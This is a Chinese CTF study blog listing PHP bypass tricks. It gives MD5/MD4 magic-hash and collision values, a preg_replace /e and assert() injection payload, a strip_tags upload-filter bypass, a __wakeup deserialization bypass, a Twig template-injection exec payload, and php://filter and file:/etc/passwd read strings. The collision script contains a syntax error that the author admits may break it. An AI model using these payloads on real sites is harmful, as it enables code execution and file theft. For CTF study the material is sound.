做了這么長的時間的ctf,現在總結一下自己做過的題,記錄一下各種可能會存在繞過的php函數,持續更新。
1.preg_replace ($pattern , $replacement , $subject )
其中 $pattern為正則表達式
$replacement為替換字符串
$subject 為要搜索替換的目標字符串或字符串數組
這個函數存在一些奇異的地方,正則表達式$pattern以/e結尾時$replacement的值會被作為php函數執行。
例如執行 preg_replace (‘/test/e’ , "phpinfo();" , "test" )
“test”會被替換為phpinfo();并執行。
2.MD5加密繞過
2.1 MD5弱比較繞過
php中有一個提供MD5加密的函數md5()通常被用來進行密碼驗證之類的功能。
在ctf中常見如下的驗證方式:
if( a == b && md5(a) == md5(b) )
方法一:
這兒md5(a)/md5(b)兩數如果滿足科學計數法的形式的話,php會將其當作科學計數法所得的數字來進行比較。例如:
md5(QNKCDZO)
0e830400451993494058024219903391
可以看見QNKCDZO的md5值是0e開頭滿足科學計數法的表示形式,而0e的值始終為0
因此,只要字符串經md5后滿足科學計數法的0e開頭,他們在==比較時就會被認定為相等。(只對==比較有效,不適用于===)
以下給出一些滿足該要求的md5數
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
方法二 :
md5()函數無法處理數組,如果傳入的為數組,會返回NULL,所以兩個數組經過加密后得到的都是NULL,也就是相等的。
也就是說a[]=1,2 b[]=2,3 該驗證依然可以繞過。
?
2.2 MD5強碰撞
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!);
}
Param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
Param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
2.3 雙MD5碰撞繞過
$a != $b && md5($a) == md5(md5($b)
一些例子
MD5大全:
CbDLytmyGm2xQyaLNhWn
md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18
md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af
770hQgrBOjrcqftrlaZk
md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625
md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064
7r4lGXCH2Ksu2JNT3BYM
md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849
md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f
碰撞腳本
# -*- coding: utf-8 -*-
import multiprocessing
import hashlib
import random
import string
import sys
CHARS = string.letters + string.digits
def cmp_md5(substr, stop_event, str_len,. start=0, size=20):
global CHARS
while not stop_event.is_set():
rnds = ''.join(random.choice(CHARS) for _ in range(size))
md5 = hashlib.md5(rnds)
value = md5.hexdigest()
if value[start: start+str_len] == substr:
print rnds
stop_event.set()
'''
#碰撞雙md5
md5 = hashlib.md5(value)
if md5.hexdigest()[start: start+str_len] == substr:
print rnds+ "=>" + value+"=>"+ md5.hexdigest() + "n"
stop_event.set()
'''
if __name__ == '__main__':
substr = sys.argv[1].strip()
start_pos = int(sys.argv[2]) if len(sys.argv) > 1 else 0
str_len = len(substr)
cpus = multiprocessing.cpu_count()
stop_event = multiprocessing.Event()
processes = [multiprocessing.Process(target=cmp_md5, args=(substr,
stop_event, str_len, start_pos))
for i in range(cpus)]
for p in processes:
p.start()
for p in processes:
p.join()
上面腳本注釋部分是雙MD5碰撞,取消注釋然后注釋掉16行即可。
使用方法:Python/ target=_blank class=infotextkey>Python md5Crack.py "你要碰撞的字符串" 字符串的起始位置
例如:python md5Crack.py “0e" 0
將產生MD5值為0e開頭的字符串。
注:這個腳本我本地嘗試好像有問題,具體問題有時間研究一下再補上。
3.MD4 繞過(來自強網杯2020)
$_GET["hash1"] != hash("md4", $_GET["hash1"])
例子 0e251288019
md4計算后為
0e874956163641961271069404332409
參考網上的例子改了一個簡易的python爆破腳本,就是效率真的低到離譜
y1ng神還有高級腳本,感興趣的可以自己去看看2020第四屆“強網杯”全國網絡安全挑戰賽初賽Writeup – 穎奇L'Amore
https://www.gem-love.com/ctf/2576.html#Funhash
沒研究透的我就不貼了。
import hashlib
for i in range(0,10**40):
i='0e'+str(i)
md4=hashlib.new('md4', i.encode()).hexdigest()
if md4[:2]=='0e' and md4[2:].isdigit():
print('num:{},md4:{} '.format(i,md4))
break
#需要在python3環境下運行,不然無法執行
4.strip_tags()
這個函數用于去除字符串中的 HTML 標簽,正常來說確實沒啥問題。
但是卻在ctf中一些繞過中存在。(出自roarctf2019 simple_upload)
thinkphp原生代碼中的upload()上傳功能,會對上傳的文件名執行該函數。
利用該方法可以進行前端繞過。
當php進行上傳文件后綴驗證,過濾.php時。
一般情況下諸如 1.php是無法上傳上去的,但是此處可以通過 構造文件名為 1.<a>php繞過該驗證。
文件上傳后不滿足.php繞過過濾,但是在tp的原生上傳函數被調用是<a>被去除,文件就會被以php格式上傳。
注:此處的html可以為任意html標簽
5.assert()
這個函數是php的斷言函數,用來判斷一個表達式是否成立。返回true or false。
注:assert執行的字符串包含的php語句如果有多條,只會執行第一條。
該表達式會被當做php函數來執行,相當于eval()
在ctf中該函數也有一定的可利用性,如xctf中的一題
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
$file為用戶傳入的字符串,這里構造file=').phpinfo();//
此時語句變成了assert("strpos('').phpinfo();// ===false" ) or die (" ")
相當于 assert("strpos('').phpinfo();" )
phpinfo()就被注入進去并執行了。
注:這里用到了php的一個特性,那就是 .連接符 ,
讀者可以自行嘗試assert("ehco(123);phpinfo();")和assert("ehco(123).phpinfo();")運行起來的區別。
6.反序列化相關知識點
1.__toString()
觸發條件時對象被當作字符串調用時就會執行。
需要指出的是在 PHP 5.2.0 之前,__toString() 方法只有在直接使用于 echo 或 print 時才能生效。PHP 5.2.0 之后,則可以在任何字符串環境生效(例如通過 printf(),使用 %s 修飾符),但不能用于非字符串環境(如使用 %d 修飾符)。自 PHP 5.2.0 起,如果將一個未定義 __toString() 方法的對象轉換為字符串,會產生 E_RECOVERABLE_ERROR 級別的錯誤。
比如stristr函數。(來自強網杯的怨念)
2.__wakeup繞過
該函數會在反序列化時執行。當成員屬性數目大于實際數目時可繞過wakeup方法(CVE-2016-7124)
例如:一個對象序列化結果如下
O:6:"jungle":1:{s:4:"name";s:1:"1";}
如果想要繞過類中的__wakeup函數,只需要將jungle數量對應的1改成2既可。
注:這里的字符串數字比如O:6,寫成O:+6也是可以,利用這個可以繞過一些過濾。
3.S和s的區別
依然已上文的序列化字符串舉例
O:6:"jungle":1:{s:4:"name";s:1:"1";}
這里的s表示的是屬性的內容是字符串,因為這里的變量屬性是public,如果是protected,則需要在屬性名前加chr(0)*chr(0)
也就是s:7:"chr(0)*chr(0)name",這個是無法打出來的。
通常情況下我們可以這樣表示:s:7:"%00*%00name",用%00來代替這個chr(0)字符
如果用S的話,就可以這樣寫:S:7:"0*0name" ,簡單來說就是在S的模式下,+字符的ascii碼的16進制表示就可以被識別為字符,這里的s:7:"%00*%00name" 甚至可以直接表示成 S:7:"0*06e616d65" ,通過這種方法可以繞過很多過濾(來自強網杯的怨念),具體原理可以參考
https://www.neatstudio.com/show-161-1.shtml
4.反序列化逃逸
這個好復雜啊,不想寫懶狗選擇放棄,大家可以百度安恒月賽反序列化逃逸來找例子參考。
https://www.cnblogs.com/BOHB-yunying/p/12774297.html
這個師傅就寫的很好,可以參考一下。
7.弱比較問題
7.1 數字與字符串的比較
字符串與數字比較的時候,會自動提取字符串中的數字。
例如
1=="1" 可以通過
1=="1a" 可以通過
注:這里從字符串中提取數字的操作是從首位開始,如果首位不是數字就不會提取數字,1=="aa1" 不可以通過。
8.PHP標簽的幾種寫法
1. <?php ?>
常規寫法
2. <? ?>
注:
- 利用短標簽寫法可以繞過一些對php字符的過濾
- windows環境中短標簽默認是打開的,linux下 默認是關閉的。
- 控制參數: php支持短標簽,需要我們把short_open_tag 設置為On.
3. <% %>
注:需要配置php.ini文件。在配置文件中找到asp_tags=off ,將off改為on。改動配置文件后需要重啟Apache。
4. <script language=”php”> </script>
9.php中的命令執行函數總結
10.disabled_function繞過
11.PHP下的模板注入TWIG
如果目標網站沒有對模板進行過濾,即可通過一下方法執行命令。
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("shellcode")}};
12.PHP偽協議
1.filter協議 ,利用該協議可以讀取文件
php://filter/resource=1.php //該情況下php代碼會被執行
php://filter/read=convert.base64-encode/resource=1.php //通過轉義可以避免被執行,直接讀取源碼
php://filter/read=string.rot13/resource=1.php
有幾種常見的編碼轉換參數
- string.rot13
- string.toupper
- string.tolower
- string.strip_tags //去除 HTML 、 PHP 標記 、空字符,php標簽里所有東西都會被去除,html只有標簽會被去除,里面的文字不會刪除。
- convert.base64-encode
- convert.base64-decode
- zlib.deflate //壓縮
- zlib.inflate //解壓
注:該協議可以嵌套使用,php://filter/resource=test/../1.php或者php://filter/resource=test/1.php,test文件夾不存在的情況下這兩種寫法下仍然可以讀取1.php文件內容。
2.file協議,該文件也是利用來直接讀取文件
file:/etc/passwd
13.PHP變量覆蓋漏洞
PHP<5.4.0版本下,可能存在該漏洞。
參見大佬的文章,寫的很好
PHP變量覆蓋漏洞小結 [ Mi1k7ea ]
https://www.mi1k7ea.com/2019/06/20/PHP%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96%E6%BC%8F%E6%B4%9E/
暫時就寫到這兒如果后續還有其他說話,會繼續更下來,以后如果有時間會寫一個php一些偽協議的總結。